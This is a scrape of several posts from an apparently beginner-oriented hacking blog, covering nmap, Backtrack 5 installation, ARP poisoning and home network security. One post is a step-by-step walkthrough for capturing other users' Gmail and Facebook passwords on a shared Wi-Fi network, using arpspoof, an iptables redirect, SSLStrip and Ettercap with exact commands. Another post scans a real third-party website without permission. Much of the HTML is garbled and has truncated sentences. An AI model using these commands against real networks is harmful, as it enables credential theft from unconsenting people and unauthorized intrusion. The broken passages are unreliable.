/></span></li></ol></ol></div><div><span style="font-size: small;">This should correctly install version 5.51 of nmap. You can now use this amazing tool. Scroll down to view a basic tutorial and overview on some of its usages.</span><span style="font-size: small;"><br /></span><br /><b><u><span class="Apple-style-span" style="font-size: x-large;">Installing Nmap on Windows XP, Vista, 7, NT, and 2k:</span></u></b><br /><span style="font-size: small;"><br />Every Windows should have the same installation, but mine will be done on XP since I don't have Vista or 7 available at the moment, so if there's any complications with Vista, 7, or another version tell me and I'll try to help you with it.<br /><br />Lets start, first, download <a href="">this file</a> and save it to your computer, it should only take a few seconds to complete.<br />Next, double click the file so it opens (as an exe does) and click through the first page by hitting "I agree."<br />The next window should have all the options selected but if they aren't, select them all and hit;">Make sure all of them are selected.</td></tr></tbody></table><br /><span style="font-size: small;">After you hit next, it should prompt where to install. The default location is C:\Program Files\Nmap\ which is fine. Hit the install key and let it do its thing.</span><br /><span style="font-size: small;">If you have a different version already installed, it will prompt you with the following message:</span><span style="font-size: small;"> </span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="101" src="" width="400" /></a><span style="font-size: small;"><br /></span><b><u><span class="Apple-style-span" style="font-size: x-large;"> </span></u></b></div></div><div><span style="font-size: small;"><br />Hit the "yes" prompt and continue on. It will ask you to un-install the older version first and you should do so by hitting "uninstall." It will then ask you to install it again (just hit next and install it again).<br />After it's all done, it will come up with the following window:</span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="310" src="" width="400" /></a> </div><br /><span style="font-size: small;">I would suggest keeping the "start WinPcap service at startup" checked, but if you like a clean startup when loading your computer, turn it off.<br /></span><br /><span style="font-size: small;">It should be all ready to load, hit the finish key and go to your desktop to open it (double click the file of course to open it), it will be called "Nmap - Zenmap GUI"</span><br /><span style="font-size: small;">Zenmap is the GUI (graphical user interface) version of Nmap. When we're on Linux we will be using both, but I prefer the command prompt (terminal use) version over the GUI.;">A screenshot of the shortcut on my desktop - Windows XP SP3</td></tr></tbody></table><span style="font-size: small;">Scroll down and lets start some basic usage of Zenmap on our Windows system!<br /><br /></span></div><u><b><span style="font-size: x-large;">Using Nmap on Linux:</span></b></u><span style="font-size: x-large;"><span style="font-size: small;"><br />First, lets start off with some basic usage in the terminal using nmap to scan some nodes and websites.</span></span><span style="font-size: x-large;"><span style="font-size: small;"><br />Open up a new terminal and issue the command "nmap google.com" and review the results.<br /></span></span><br />;"><br /></div> <a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="326" src="" width="400" /></a><br /><div align="left" class="separator" style="clear: both; text-align: center;"><br /></div><div align="left" class="separator" style="clear: both; text-align: center;"><br /></div>Now, try running that command with the "verbose" option on (verbose means "wordy" or in layman's terms more output).<br /><br />Run the command "nmap -v google.com" and watch the difference in output.<br /><span style="font-size: x-large;"><b><u>Using Nmap on Windows:</u></b></span><span style="font-size: x-large;"> </span><br /><blockquote class=""><span style="font-size: small;">Now it's time to open up Nmap and start some basic scanning.</span>Double click on your icon to open up the program and it will look like this on Windows XP:<;">Nmap opening screen.</td></tr></tbody></table> The "target" is obviously our target for the scan we want, the "profile" is the type of scan which changes the "command" line accordingly. I'll describe what each option does and what the profiles are used for, but if you use the Linux version, the options in the command line are the same.<br /><br />You can see the "hosts" and "services" tabs which we will be using when scanning multiple targets and when saving and reopening old scans.<br />Also you can see the "nmap output" which is a nice output view of what nmap is doing/has done, similar to what you would see in the command prompt in Linx.<br />The ports/hosts tab shows the open/filtered ports after completing a test, and we will be using this tab later.<br />The "topology" is an interesting tab that shows you traceroute and the location of each nmap scan.<br />The host details is important since it tells us what the host is running and other useful information we will be using.<br />The "scans" tab is our scans that we've run this session. It's useful if you want to scan multiple targets every use and want to look back at the results.<br /><br />After that quick explanation lets run a basic scan and view the results.<br /><br />Type into the "target" "" and leave "intense scan" on then click the "scan" button to start.<br />When we start, it should start outputting text such as "initiating scan" then "scanning" and google's IP address and a bunch more stuff. Here's what mine looks like at the bottom of the page since there's quite a bit of;">Verbose Google.com Nmap scan</td></tr></tbody></table>Whoa. That's a lot of gibberish to most of you I assume, so here's the quick rundown.<br />About 1/5th of the way down, after the "PORT STATE SERVICE VERSION" line, it lists "80/tcp open http Google http 2.0 (GFE)"<br />Well, what's all that mean? It means that the port 80 on tcp (there are two types of ports, TCP and UDP ports if you didn't know) is open, and that port is running their HTTP server and it is running "Google http 2.0"<br />Below that it states that 113 is closed, and 443 is open as well. <br />Well, 80 is the classic HTTP (hypertext transfer protocol) which is how we connect to google.com and all other sites, and 443 is the HTTPS which is the "secure" version of websites (gmail uses HTTPS rather than HTTP as we saw in the Wifi-sniffing tutorial).<br />Since Google only has two ports open, this doesn't give us much information since we already KNOW those are open by connecting to google.com and gmail.com (a HTTP version and an HTTPS version).<br /><br />At the bottom is a "traceroute" which counts the "hops" or how many nodes away it took to connect to Google.com. Since I live in Upstate New York, you can see the first hop address is "cable1-0.albynygnv-ar401.nyroc.rr.com (67.252.0.1)" which means my computer sent packets to that IP address first, which then routed them to the second, third, fourth, fifth, sixth and finally the seventh hop which then sent it to Google.com, completing the "route" which we traced (hence "traceroute").<br /><br />Lets make nmap output a little less output that may confuse you. In the "command" line you may have noticed the "-v" option which stands for the verbose option which means "wordy"<br />With this option on, nmap gives us more output versus the normal option of having it not on, and many people appreciate this. For now, lets turn it off by selecting the "-v" and deleting it. The "profile" should turn blank but don't worry, it turned blank because we're using a "custom" command. Try rerunning the scan after deleting that section. The output for me is;">Non-verbose Google.com Nmap scan</td></tr></tbody></table>Well that seems a lot easier to digest, right? There's still a lot of information you won't understand but all the basics we went over before are still there, it's just a sweeter and shorter output. Verbose has its time and place and I definitely suggest having it on if you can handle it, but at first try having it off to de-clutter your output.<br /><br />Lets try scanning a REAL target that isn't as secure as Google. I'll be editing out the website I'm scanning so not to cause any security issues with them, but it will still give a good output for you to review.<br /><br />Here's my output with verbose off for the website I'm scanning (website name and</a></td></tr><tr><td class="tr-caption" style="text-align: center;">Non-verbose website Nmap scan</td></tr></tbody></table>Now there's a good scan. We can see that they have their FTP, SSH, SMTP, POP3 and other ports open with running applications!<br />FTP is a commonly used protocol called File Transport Protocol and can be exploited to gain access to sensitive information stored on the server.<br />SSH is of course the Secure Shell server and can be used to gain root access to the server and a slew of interesting things.<br />SMTP is the Simple Mail Transport Protocol and is used for web-mail and can, of course be exploited to gain access to mail and other things.<br />POP3 is the Post Office Protocol and is a way for clients to retrieve mail from the server. Guess what we can do with it? Exploit it to gain access to their mail servers.<br />The other ports are interesting, too, and can also be exploited in various ways.<br /><br />Hopefully I'll be able to show you exploits pertaining to these types of services in the near future, but they will probably be on insecure boxes I've loaded myself and not REAL targets, since I'm not experienced enough to gain access to updated and regularly scanned targets... yet.<br /><br />Now, I would show you a localhost (your computer) ping, but unfortunately the Windows version of Nmap has issues with this, so if you want to scan your own computer and see what ports are open and how to secure them, check out the Linux version of Nmap and my tutorial above for this information.<br /><br /><strike>I was also trying to set up my vulnerable VMWare to ping from my machine but apparently I can't since it's still considered the "localhost" (which is my machine), to any of my more advanced readers, is there anyway around this so I can Nmap my VMWare from my XP? I'll be doing this from my Linxtop in the above tutorial in Linux, so you can view it there, but for now I can't show a more interesting Nmap scan, sorry!</strike>I figured out my problem... and it was stupidly simple, but I've been working and tired a lot so it must have slipped through my mind. I'll hopefully have a more in depth tutorial up soon =D<strike><br /></strike><br /><div><b><u><span class="Apple-style-span" style="font-size: x-large;"> </span></u></b></div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com34 Passwords Over a Wifi Connection [Linux/Backtrack5]<div dir="ltr" style="text-align: left;" trbidi="on">Now here's where some fun stuff starts!<br />I hope many of you have followed my <a href="">installing Backtrack 5</a> guide and read up on <a href="">what ARP is</a> as well as <a href="">basic Linux commands</a> so you can follow along easily; if not, go read those now!<br /><br />What you'll need for this tutorial:<br /><ul style="text-align: left;"><li><a href="">Backtrack 5 or Linux</a> on your computer.</li><li><a href="">SSLStrip</a> installed (to bypass HTTPS connections)</li><li><a href="">Ettercap</a> installed.</li><li>Arpspoof installed (comes on Backtrack 5 by default). </li></ul>If you don't have any of these, follow the links and set up your system before continuing.<br /><br /><a name='more'></a>><br /><br />Okay, so what we're doing today is using a few programs to sniff passwords over a network and redirect secure HTTPS connections to non-secure HTTP connections to help us get even more passwords.<br />I've successfully gotten passwords and user names from <a href="">Gmail</a>, <a href="">Facebook</a>, <a href="">Ureddit</a>, <a href="">Reddit</a>, and <a href="">Youtube</a>; but all sites should work.<br /><br />Lets begin:<br /><ul style="text-align: left;"><li>First, we need to figure out the IP address of the user we want to sniff, and the gateway IP (usually 192.168.0.1 or 192.168.x.1 depending on the network)</li><ul><li>You should have SOME experience with finding users on a network, but if you don't, you can use a program that comes on Backtrack 5 called "Kismet" to identify users, or use the program "Nmap" (short for network mapper).</li><li>The most simple Nmap command to run would be: <i>nmap -sn 192.168.0.0/24</i> depending on what your IP range and subnet is.</li><ul><li>the "-sn" option tells nmap not to port scan, and only do host discovery. This option is called the Ping Scan option since it essentially is just performing a large ping scan over the subnet.</li></ul><li>The first one (lowest number at the end, such as 192.168.0.1) is the gateway, so remember what number that is.</li><li>You can figure out what yours is by doing our good old friend "ifconfig" and looking at your IP address. You can then figure out which ones are other computers and choose which one you wish to directly sniff.</li></ul></ul><div dir="ltr" style="text-align: left;" trbidi="on"><ul><li.<br /><br /></li><li>Next, we have to set up our "iptables" to redirect HTTP (normal) traffic to our program sslstrip.<br /> Issue the command "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666"<br /><br /! <br /><br /><b>Important note here:</b> run the command "cat /etc/etter.conf |grep iptables" and if your output is:<br /><br /><i># if you use iptables:<br /> #SSLStrip</a> to strip any HTTPS connections and redirect them to HTTP (unsecure) connections. The name SSLStrip is quite perfect, eh?<br /><br /> To start SSLStrip on my computer, I have to navigate to the SSLStrip folder with the command "cd /pentest/web/sslstrip" first, then issue the command "python sslstrip.py -l 666" to run the program.<br /.<br /><br /><b>Don't close this terminal.<br /><br /></b></li><li>We have to ARP spoof or ARP poison our target computer. We learned about ARP <a href="">here</a>, and if you haven't read it already, go do so before continuing.<br />Open a new terminal now for our ARP spoofing, and run the command:<br />"arpspoof -i [your interface] -t [target computer ip address such as 192.168.0.111] [gateway ip address such as 192.168.0.1]<br /><br /> When I'm arp-spoofing my computer from my laptop, my command is "arpspoof -i wlan0 -t 192.168.0.111 192.168.0.1"<br /><br />If you want to arp-spoof the ENTIRE network, issue the command "arpspoof -i [interface] [gateway IP].<br />Thanks to Volvox for the above hint, but watch out, <b>because if your computer cant handle all the redirecting the network requires, it will DoS (denial of service) the network and your computer resources.</b><br /><br /><b>Don't close this terminal.<br /><br /></b></li><li><b> </b>Now open another terminal and lets start <a href="">Ettercap</a>! We will be using it in text mode today because I personally like it better (it feels less script-kiddie like and easier to navigate/issue commands).<br /><br />Run the command "ettercap -m [any_file_name.txt] -Tq -i [interface]" and a text interface will come up telling you a bunch of information (I'll post what mine looks like soon).<br /><br /.<br /.<br /><br /></li><li>Open a new terminal while Ettercap is running (don't close it!) and issue the command "cat [your_file_name.txt]"<br /> Now you can see all the information that was printed at first, and at the bottom there should be some sniffed data if all went well (I'll post a screen-shot later).<br />Lets clean this up a bit. Issue the command "cat [your_file_name.txt] |grep USER |cut -d" " -f3-12"<br />The quotation marks after the d should be normal, but of course the ones surrounding the entire command are not.<br />You should see your data cleaned up quite a bit. I'll run through what that command did later, but I hope you understand some of this for now.</li></ul><div><i>Last updated 3/15/2013</i></div></div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com166 your personal home network [Information]<div dir="ltr" style="text-align: left;" trbidi="on"><div><div dir="ltr" style="text-align: left;" trbidi="on">Today's the 4th of July so I'm throwing out a quick post since it's been a few days, but I hope all my readers will be happy with another informational piece about securing your own network since, after all, that's what netsec is about!<br /><br />Below is a simple guide to getting the most security out of your network to protect your information and the users of your network's information.<br /><br /><a name='more'></a><br /><br /><a href="" name="more"></a><span style="font-size: large;"><b>Setting up your router encryption:</b></span><br /><blockquote><span style="font-size: small;">If you've read my <a href="">WEP/WPA2 cracking guide</a></span>, then you understand how fragile WEP encryption is. In my tutorial I also explained how to crack WPA1/2 passwords, but explained that the passkey must be in the dictionary that you specified whilst entering the "aircrack" command.<br /><br />When you're selecting which encryption to use, don't even consider WEP. It can be broken in 30 seconds on a half-decent computer. I've successfully broken WEP in under two minutes sitting in a bathroom on a small dell laptop (the guys password was his name and birth-year; there's no difference between ASCII WEP and Hex WEP).<br /><br />As for what TO use, choose either WPA or WPA2. WPA2 has some slight upgrades from it's predecessor WPA, but there is no noticeable difference whilst cracking WPA2 versus WPA.<br /><br />When setting up your network password there are some obvious things that you don't want to set it as, such as "password," "admin," "12345," "qwerty," or anything so simple a 10 word passkey list could find.<br />Your best bet is setting your password with a length <i>AT LEAST</i> 8. Don't just use letters and a number after. Switch it up with symbols too. For instance, an almost unbreakable 8-length password would be "Z9t*F3&w" since it's a completely random selection of letters, numbers, and symbols and definitely would not exist in any normal dictionary or common password list.<br />If you get into the teens of length, your password becomes exponentially more secure.<br />If you have a password with a length of 13, assuming we only use numbers 0-9, all the symbols on the top row of our keyboard "`~!@#$%^&*)(_+-=" and a-z and A-Z, if my math is correct that is 78 different combinations per spot, which means that the different possibilities would be 13^78 or 7.71936328 × 10^<span style="font-size: small;">86 which would take much longer than anyone's lifetime to crack.</span><br />These are some simple tips to making your network unbreakable by hackers outside your network, but what about if a hacker is already inside your network?</blockquote><span style="font-size: large;"><b>Safe Internet usage:</b></span><br /><blockquote>If you have any experience with <a href="">Ettercap</a> then you know how easy it is to view a person's traffic and steal valuable information such as passwords and logins. So to counteract this, we as Internet and network users need to use smart surfing and watch what websites we go to as well as be aware of the dangers out there like certain pop-ups installing viruses and malware into our computers.<br /><br />I'm sure a lot of you have seen certain pop-ups that say something like "your computer is infected, run a free test now!"</blockquote><div class="separator" style="clear: both; text-align: center;"></div><blockquote> These images require a user to click "yes" or even "no" or the exit button in the top right or left (depicted with an X), then once this action has occurred, malicious software is installed into your computer and a fake virus scan runs showing that you have certain viruses, where the <i>ACTUAL</i> virus is the software itself! <br />To defend against these "phishing" attacks (the word phishing gets its name from fishing where a person throws out a hook enough times, which are the scams, and someone will bite) is to know what's fake and what's not. Know your anti-virus and don't click on popups while browsing the Internet. If you're using Firefox, install Adblock and Noscript, but remember to allow sites you frequent or they may not work correctly. Chrome and Opera also support their own versions of these, so check out the "addon" page for each respective browser. <br />Being aware of these phishing and other phishing attacks like email spam are important ways to having top notch security.<br /><br />We must also be aware of unauthorized users in our networks, whether it be in an open network as a guest, or a malicious hacker in our (hopefully) protected network. <br />Ways to defend against attacks from INSIDE our network include using "HTTPS" sites to log in with sensitive information, instead of the classic "HTTP" type of authentication. <br />HTTP means hypertext transfer protocol, and the S on the end of HTTPS means "secure." </blockquote><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><blockquote>Even if all your sensitive information is processed through HTTPS, there'sways for hackers to disable the secure connection and steal your information regardless. Using this method of logging in adds another layer of security to our everyday Internet usage, but can still be disabled and worked around as you can see in my post involving Ettercap, SSLStrip, and ARP spoofing to steal secure passwords.</blockquote><blockquote>How you can attempt to defend against attacks like the one I explained on my password sniffing post is to make sure you're not being redirected away from HTTPS sites to their unsecure HTTP counterparts. If this is happening I would suggest reviewing the nodes on your network because someone is running a redirection on you with SSLStrip and trying to steal your information!</blockquote><blockquote>Another way to detect this attack is to regularly check your network speeds. A side effect of a ARP spoofing redirection attack is that it bogs down your network, even DoSing (denial of service attacking) the network if the computer that is redirecting traffic is slow or cant handle all the packets being passed through. I've noticed another side effect of these attacks that can be watched for and that is, when attempting to log onto HTTPS sites, it redirects you (which isnt very easy to notice if you're a common user), but then doesn't allow you to log in (it just reloads the login page). This is because the forwarding breaks the login page and doesn't allow you to pass your credentials in.</blockquote><blockquote></blockquote><blockquote></blockquote></div></div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com34 is ARP? [Information]<div dir="ltr" style="text-align: left;" trbidi="on"> Since I've explained now how to get Backtrack 5, if you're still not on Linux then go <a href="">install it now</a> before all the fun stuff starts!<br />As for today's post I'll be explaining an important part about netsec: Address Resolution Protocol.<br /><br />Understanding ARP, or Address Resolution Protocol, is a key part in understanding how networks communicate.<br /><br /><a name='more'></a>You can think of ARP as a phonebook for computers on a network.<br />Say the computer "Bob-PC" wants to send a message to "Meg-Laptop" but only has its local IP address. Computers require the "physical" address or MAC (Media Access Control) address to send messages, so Bob's computer needs to find out Meg's MAC. How would it do this?<br />Well, what Bob's computer does is checks its own "ARP cache" which is a list of computers it has stored with their IPs (such as 192.168.0.105) and MAC address (such as 00:1C:F2:D2:55), and if it finds the corresponding physical (MAC) address to the IP address it has for Meg's laptop, its all good to go!<br /><br />But what if Bob's PC's ARP cache doesn't have Meg's laptop listed?<br />Well, ARP has this sorted out. It sends out a "broadcast ARP message" to the network saying "hey, who is 192.168.0.105 (Megs-Laptop)?" and receives a response from Meg's laptop saying "hey, that's me! My MAC address is 00:1C:F2:D2:55!"<br />Bob's PC then stores that information in its ARP cache for later use.<br /><br />How hackers can use this to infiltrate systems is doing something called "ARP poisoning" and can be explained using this image from Wikipedia:<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="" width="400" /></a></div>The malicious user, or hacker, listens in on the network and changes the ARP cache of the receiving "LAN user" to send messages to the malicious user FIRST, then back out to the corresponding target (in this case, the LAN Gateway.<br />This way, the hacker can view all the network traffic between the User and Gateway and change certain inquires, whether it be to an HTTPS (secure connection) site or any site in general.<br />We will be using this in the near future to sniff passwords from any site (HTTP and HTTPS) and show how dangerous an unwanted user on your network really is.<br /><br />You can view your computer's ARP cache by typing "arp -a" into the command line on Windows or Linux and view the IP addresses and corresponding MAC addresses of each node your computer has saved.<br /><br />Many users think that if they have a simple encryption on their network, it can't be broken. Some think that even if someone gains access into their network, it doesn't even matter! But this is <em>FAR</em> from the truth. <br />You will see how much damage a single user can cause on an unprotected network, whether it be through DNS spoofing (changing sites what certain IP addresses go to), password sniffing (Facebook, Google, Paypal, and Myspace passwords in clear text!), or DoS (denial of service) attacks.<br /><br />This was a quick writeup and I'll be updating it frequently as I do with all my posts, but I wanted to get a quick post out to explain what ARP and ARP poisoning is, as it is vital in our path to learning network and computer security.</div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com60 you want to use Backtrack 5? [With Pictures/Windows/Mac/Linux]<div dir="ltr" style="text-align: left;" trbidi="on"><div><div dir="ltr" style="text-align: left;" trbidi="on">I.<br /><br /><div style="text-align: left;">Here's a quick list of the things you'll need to install Backtrack 5:</div><ol style="text-align: left;"><li style="text-align: left;">a USB stick with at least 2gigs of free space (mine is 8gigs), I would suggest 4gigs as a minimum.</li><li style="text-align: left;">a computer to install it to (you can dualboot, or fresh install and overwrite a disk)</li><li style="text-align: left;">an Ethernet Internet connection makes this easier in the updating stage.</li></ol><br /><a name='more'></a>First we're going to have to format your USB stick-drive (or whatever you want to call it... pendrive or stick) to "FAT 32" (File Allocation Table) which is not the normal format most USB drives use. The default is usually NTFS (New Technology File System) and supports higher file sizes and is in general faster than FAT 32. You can read more on the differences <a href="">here</a>.<br /><br />Plug in your USB stick to a computer that can connect to the Internet (I'm assuming, since you're reading this, that you can download and transfer files) and go to "My Computer" on Windows, or your respective file system directory. I'm using Windows XP SP3, so the screenshots and most of my references will be based upon the look and feel of that. If you have a different OS then I'll try to help you troubleshoot it, but I don't have much experience in iOS or Vista at the moment.<br />;">The USB pendrive should be visible here.<a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></td></tr></tbody></table><div align="left" class="separator" style="clear: both; text-align: center;"><br /></div>When you can see the drive, right click it and a "format" option should be available. Click on that the "format" option.</td></tr></tbody></table>Once you've clicked it, a GUI (graphical user interface) panel should pop up</a></td></tr><tr><td class="tr-caption" style="text-align: center;">View on Windows XP SP3</td></tr></tbody></table><b>Make sure you don't have any sensitive information or files you want on your drive... this will completely erase it. Before you do this, save all your files on this drive!<br /></b><br />My options are already set like I want, but the "File System" should be "FAT32" and not "NTFS," if you format it as NTFS, it will be pointless. Leave the "allocation unit size" default and name your "volume label" whatever you want; I kept mine the same.<br />Once you click "START" it will remind you all information will be deleted... so again <b><u>SAVE ANY FILES YOU DON'T WANT TO LOSE FOREVER.</u></b><br /><br />It shouldn't take long to format, and a "format complete" pop up will come up. Good job, step 1 is down!<br /><br />Now to get Backtrack 5 up on your drive...<br />Go to the <a href="">Backtrack download page</a> and just click the "download" button in the middle of the screen; you don't need to enter an email if you don't want;">You don't have to register, but go ahead if it interests you.</td></tr></tbody></table><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a><br />The window will change to a selection area of the different "flavors" of Backtrack 5. Below is a quick explanation of each:<br /><ul style="text-align: left;"><li>WM Flavor<br /> </li><ul style="text-align: left;"><li>GNOME --- check out the <a href="">Gnome site</a> for an in-depth view of what it is, but below is a screenshot of the look. I personally use GNOME over KDE.<;">GNOME Backtrack 5 GUI</td></tr></tbody></table><br /><ul style="text-align: left;"><ul style="text-align: left;"></ul><ul style="text-align: left;"><li> KDE --- check out the <a href="">KDE site</a> for an in-depth view of what this flavor is like, but again, here's a screenshot of the KDE look on Backtrack 5<DE Backtrack 5 GUI</td><td class="tr-caption" style="text-align: center;"></td></tr></tbody></table><ul style="text-align: left;"><li>The "Architecture" depends on your CPU (32-bit or 64-bit processor) -- a safe bet is 32-bit, but if you know your CPU is 64-bit you can use that.</li><li>The "image" is the type of file you want to download. Download the "ISO" for now since we're going to be using that one. VM is for using as a virtual machine (check out my <a href="" target="_blank">Penetration Testing Lab Setup</a> for more on that)</li><li>The "download" is how you'll be downloading it. If you know how to torrent, you can do that, but otherwise just choose "direct" and it will download it off the Backtrack 5 server.</li></ul>Click the download button, and above the selection screen another interface will appear and tell you it's loading. After a few seconds, it will ask you again if you wish to register. Go ahead or don't, it doesn't matter. After you click through that selection, the download should pop up. Go ahead and save it to</a></td></tr><tr><td class="tr-caption" style="text-align: center;">Sorry the picture is fuzzy, click on it for an enlarged version.</td><td class="tr-caption" style="text-align: center;"></td></tr></tbody></table>Now we need to download the program to put this ISO on our formatted pendrive. It's called "UNetbootin" and can be downloaded for Windows <a href="">here</a>, Mac OS <a href="">here</a>, and if you're reinstalling from Linux, grab the Linux one <a href="">here</a>.<br />Once it's done downloading from Sourceforge, just run the program (it requires no installation) and you will be confronted with an options page.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="" width="400" /></a></div>Go ahead and ignore the top selections and click the hollow circle next to "Diskimage," then click the "..." button to the far right and navigate and select the ISO you just downloaded (it should be on your desktop like I instructed).<br />Leave the "type" on USB Drive, or select that option if it is not already selected, and have the correct drive selected as well (you can view which drive it is in My Computer).<br />Next, click "OK" and it should skip downloading files (we're using an ISO, so no downloading necessary), extract and copy, install the bootloader, then complete the installation (this may take some time... just be patient).<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="295" src="" width="400" /></a></div>After it installs it will give you the option to restart or cancel. If you want to install BT5 on your current computer right now, just click the restart to begin, or click cancel and plug in your USB stick to the computer you want to install it to and restart or turn on that computer.<br /><br />When your computer is starting up, mash the key to enter boot options (mine is F10, most are F12 as far as I know) and a boot option loadup should appear. Select the top most Backtrack option (should say something like text mode; also available are forensics mode, memtest mode, and others, but don't worry about those).<br /><br />The Backtrack 5 background should appear with no icons or anything; push the F8 key and it will continue.<br /><br />Your computer should then load up in a black screen with white text cascading down (this is Backtrack loading off your USB) and you should be confronted with a command prompt line. If it asks for a login, the default is "root" and password "toor" but for now it shouldn't.<br />Type in "startx" to load the Backtrack GUI (graphical user interface) with one icon in the top left that says "Install Backtrack" with the Backtrack icon. Double click this.<br /><br />This is the installation of Backtrack 5 onto your computer so you can run it off the HDD (hard disk drive) and not the USB stick. Go through each setup configuration (time zone, language, and keyboard setup) until you reach a prompt like the one below (not my prompt; mine is Windows XP, but I couldn't get a screenshot of mine).<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="366" src="" width="400" /></a> </div>If you want to dual-boot, make sure the top selection "install them side by side" is selected, if you select a different one <b>it will ERASE YOUR HARD DRIVE AND START FROM SCRATCH.</b><br /><br />If you want to solo-boot Backtrack, select the second option "erase and use entire disk" and select the correct HDD.<br /><br />If you're dual-booting it should tell you it's creating a new partition (space for the new operating system) and might take a while to do so, just wait for this to finish.<br /><br />Once this is done a "ready to install" page will show. Click on the "advanced" tab in the bottom right and make sure "install boot loader" is checked.<br />Mine is "/dev/sda/" whereas my XP is "/dev/sda1/" so make sure they aren't the same or your computer is going to be quite messed up.<br /><br />After that is done, click "install" and it will begin. The installation pauses on 99% for quite some time, so don't worry (most of the installation is on 99% which isn't really the point of an updating bar).<br />After it's installed, click the "restart now" button that pops up, or if you don't want to for some reason click the "continue testing" button.<br /><br />If you're dual-booting, once you boot up your system it should ask which operating system you want to use, select Backtrack 5 and push F8 again when the background shows up (don't panic because you can't do anything, your computer hasn't frozen, this is how BT loads) and wait for the black loadup screen to come up with cascading text.<br /><br />The default login is again "root" as the username and "toor" (root backwards) as the password.<br />Change your password by typing "passwd [new password]" and it will update your password to whatever you want. Do this now for extra security.<br />Next, on the next screen type "startx" to load up the Backtrack GUI so we can actually use our penetration suites.<br /><br />Lets do our first terminal usage with Backtrack to upgrade and update the already installed suites (collection of programs).<br /><br />Open a terminal (the black box with a ">_" in it on the top or bottom bar depending on whether you downloaded Gnome or KDE) and type "apt-get upgrade"<br /><br />For me everything is upgraded and it should tell you that. Next, type "apt-get update" and it will update all your packages installed. Mine only updated 3,473 kbs, but some others may not be updated for some reason. Run these frequently to get the most updated versions of all your programs! I run it once every few days.<br /><br />That's it. You should have Backtrack 5 working on your computer or laptop and should be able to dual-boot if you want that. Post below any issues and I'll respond!<br /><ul style="text-align: left;"><ul style="text-align: left;"></ul></ul></div></div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com157 SSLStrip [Linux]<div dir="ltr" style="text-align: left;" trbidi="on">I've written most of a how-to and explanation of how to use two programs, SSLStrip and Ettercap, to sniff networks and grab passwords even if a secure connection is used (HTTPS rather than HTTP), but I have to cover a few topics before I release it.<br />First, I need to explain how to install SSLStrip for those people not using Backtrack 5, then I must explain ARP (Address Resolution Protocol) poisoning and spoofing, since this is an important part of using SSLStrip and Ettercap to grab passwords.<br /><br />If you're using Backtrack 5, like I mentioned before SSLStrip should be installed already and located in the "/pentest/web/sslstrip" folder and can be run by typing "python sslstrip.py"<br />For the users not using Backtrack 5, follow the directions below:<br /><br /><a name='more'></a><br /><ul style="text-align: left;"><li>First, we need to install the dependencies required for SSLStrip. These include Python and a "twisted-web" Python module. Install these by using the apt-get command we've previously learned; type "apt-get install python" (use sudo [super user do] if you're not root or su) and then "apt-get install python-twisted-web"<br />Once these dependencies are installed correctly by our apt-get, we can move on.<br /></li><li>Next, download the SSLStrip tar file. We've done this with Aircrack and Ettercap, so you might have a slight idea what the next steps are, and if you do, try doing it yourself first to see if you can!<br />The file is located <a href="">here</a>. Save to your desktop or home or any folder you can remember and navigate to.<br /><i><b>Make sure you navigate to this folder before issuing the commands below!</b></i></li><li>Of course now we're going to extract the tar file with the command "tar -zxvf sslstrip-0.9.tar.gz" and then move into the newly created directory with "cd sslstrip-0.9"<br />You should now be in that folder, check this by typing "pwd"<br /></li><li>Next, type "python ./setup.py install" and it should install without any errors. Again, if you're not root or a superuser, use the "sudo" command before the above command.</li></ul>Again, this install was quite easy, but hopefully you understand how to extract and install the tar and tar.gz files that are used in Linux every day!<br />I'll be posting an informative post tomorrow or the next day (I've been busy starting a new job) about ARP and why it's important to understand, then I will post a really fun tutorial about how to steal passwords over wifis using SSLStrip and Ettercap!<br /><br /></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com52 networking in Ubuntu [Linux]<div dir="ltr" style="text-align: left;" trbidi="on">Since I'm trying to cover all the basics first so new users can jump right in to later topics by just reading these and the other posts I've released and *hopefully* gain and understanding of the most basic Linux commands and functions.<br /><br />Each command listed below I will attempt to describe the basis for it's name, what it's acronym stands for (if necessary), the basic uses of it, a few more advanced uses of it, and any other information I (or any commentators!) see useful.<br /><br /><a name='more'></a><br /><ul><li>ifconfig --- Stands for "interface configuration," and is used to configure your network interfaces. While I post how-tos, I will often type [interface] which means that you should enter whichever network interface, without brackets, you want to use the command with.</li><ul><li>Typing "ifconfig --help" brings up a help list of options you can use with your ifconfig command. I'll review and go over some useful ones here, but try checking out a bunch of them yourself since each person has their own uses and needs.</li><li.<br /.<br /.<br />Now lets disable it. Type "ifconfig wlan0mon down" and then type your "ifconfig" command again. It should be gone!</li></ul><li>iwconfig --- like our ifconfig, but dealing with wireless interfaces. This command has much different commands which I will cover below.</li><ul><li>Type in the "iwconfig" command and look at the results. They're like the ifconfig results. Type in "iwconfig --help" and look at all the 